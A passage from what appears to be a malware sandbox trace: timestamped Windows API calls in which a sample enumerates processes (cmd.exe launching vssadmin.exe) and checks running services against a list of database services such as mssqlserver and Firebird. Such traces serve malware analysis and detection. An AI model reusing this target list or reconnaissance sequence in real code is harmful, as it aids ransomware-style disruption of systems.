th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0061.967] lstrlenW (lpString="motor.exe") returned 9 [0061.967] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0061.968] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0061.968] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0061.968] lstrlenW (lpString="toshiba.exe") returned 11 [0061.968] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.969] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.969] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0061.969] lstrlenW (lpString="mobsync.exe") returned 11 [0061.969] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0061.970] lstrlenW (lpString="3G6885.exe") returned 10 [0061.970] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.970] lstrlenW (lpString="cmd.exe") returned 7 [0061.970] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.971] lstrlenW (lpString="conhost.exe") returned 11 [0061.971] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0062.414] lstrlenW (lpString="vssadmin.exe") returned 12 [0062.419] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0062.441] lstrlenW (lpString="VSSVC.exe") returned 9 [0062.441] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.442] lstrlenW (lpString="svchost.exe") returned 11 [0062.442] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0062.444] CloseHandle (hObject=0x164) returned 1 [0062.444] Sleep (dwMilliseconds=0x1f4) [0063.176] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640210 [0063.828] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0063.849] GetLastError () returned 0xea [0063.849] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f93008 [0063.849] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f93008, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f93008, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0063.851] CloseServiceHandle (hSCObject=0x640210) returned 1 [0063.852] lstrlenW (lpString="Appinfo") returned 7 [0063.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.852] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.852] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.852] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.852] lstrlenW (lpString="AudioSrv") returned 8 [0063.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0063.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0063.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0063.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0063.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0063.853] lstrlenW (lpString="BFE") returned 3 [0063.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.853] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.853] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.853] lstrlenW (lpString="CryptSvc") returned 8 [0063.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.853] lstrlenW (lpString="CscService") returned 10 [0063.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0063.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0063.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0063.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0063.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0063.853] lstrlenW (lpString="DcomLaunch") returned 10 [0063.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.853] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.853] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.853] lstrlenW (lpString="Dhcp") returned 4 [0063.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.854] lstrlenW (lpString="Dnscache") returned 8 [0063.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.854] lstrlenW (lpString="DPS") returned 3 [0063.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.854] lstrlenW (lpString="eventlog") returned 8 [0063.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0063.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0063.854] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0063.854] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0063.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0063.854] lstrlenW (lpString="EventSystem") returned 11 [0063.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.855] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.855] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.855] lstrlenW (lpString="gpsvc") returned 5 [0063.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.855] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.855] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.855] lstrlenW (lpString="iphlpsvc") returned 8 [0063.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.855] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.855] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.855] lstrlenW (lpString="LanmanServer") returned 12 [0063.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.855] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.855] lstrlenW (lpString="lmhosts") returned 7 [0063.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.856] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.856] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.856] lstrlenW (lpString="MMCSS") returned 5 [0063.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0063.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0063.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0063.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0063.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0063.856] lstrlenW (lpString="MpsSvc") returned 6 [0063.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.856] lstrlenW (lpString="Netman") returned 6 [0063.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0063.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0063.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0063.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0063.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0063.856] lstrlenW (lpString="netprofm") returned 8 [0063.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.856] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.856] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.856] lstrlenW (lpString="NlaSvc") returned 6 [0063.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.856] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.857] lstrlenW (lpString="nsi") returned 3 [0063.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.857] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.857] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.857] lstrlenW (lpString="PcaSvc") returned 6 [0063.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.857] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.857] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.857] lstrlenW (lpString="PlugPlay") returned 8 [0063.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.857] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.857] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.857] lstrlenW (lpString="Power") returned 5 [0063.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.857] lstrlenW (lpString="ProfSvc") returned 7 [0063.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.857] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.858] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.858] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.858] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.858] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.858] lstrlenW (lpString="RpcSs") returned 5 [0063.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.858] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.858] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.858] lstrlenW (lpString="SamSs") returned 5 [0063.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.858] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.858] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.858] lstrlenW (lpString="Schedule") returned 8 [0063.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.858] lstrlenW (lpString="SENS") returned 4 [0063.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.858] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.858] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.859] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.859] lstrlenW (lpString="Spooler") returned 7 [0063.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.859] lstrlenW (lpString="swprv") returned 5 [0063.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0063.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0063.859] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0063.859] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0063.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0063.859] lstrlenW (lpString="SysMain") returned 7 [0063.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0063.859] lstrlenW (lpString="Themes") returned 6 [0063.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0063.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0063.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0063.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0063.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0063.859] lstrlenW (lpString="TrkWks") returned 6 [0063.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0063.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0063.860] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0063.860] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0063.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0063.860] lstrlenW (lpString="UxSms") returned 5 [0063.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0063.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0063.860] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0063.860] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0063.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0063.860] lstrlenW (lpString="VSS") returned 3 [0063.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0063.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0063.860] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0063.860] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0063.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0063.860] lstrlenW (lpString="WdiServiceHost") returned 14 [0063.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0063.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0063.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0063.860] lstrlenW (lpString="WdiSystemHost") returned 13 [0063.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0063.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0063.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0063.860] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0063.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0063.861] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0063.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0063.861] lstrlenW (lpString="Winmgmt") returned 7 [0063.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0063.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0063.861] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0063.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0063.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0063.861] lstrlenW (lpString="WPDBusEnum") returned 10 [0063.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.861] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0063.861] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0063.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0063.861] 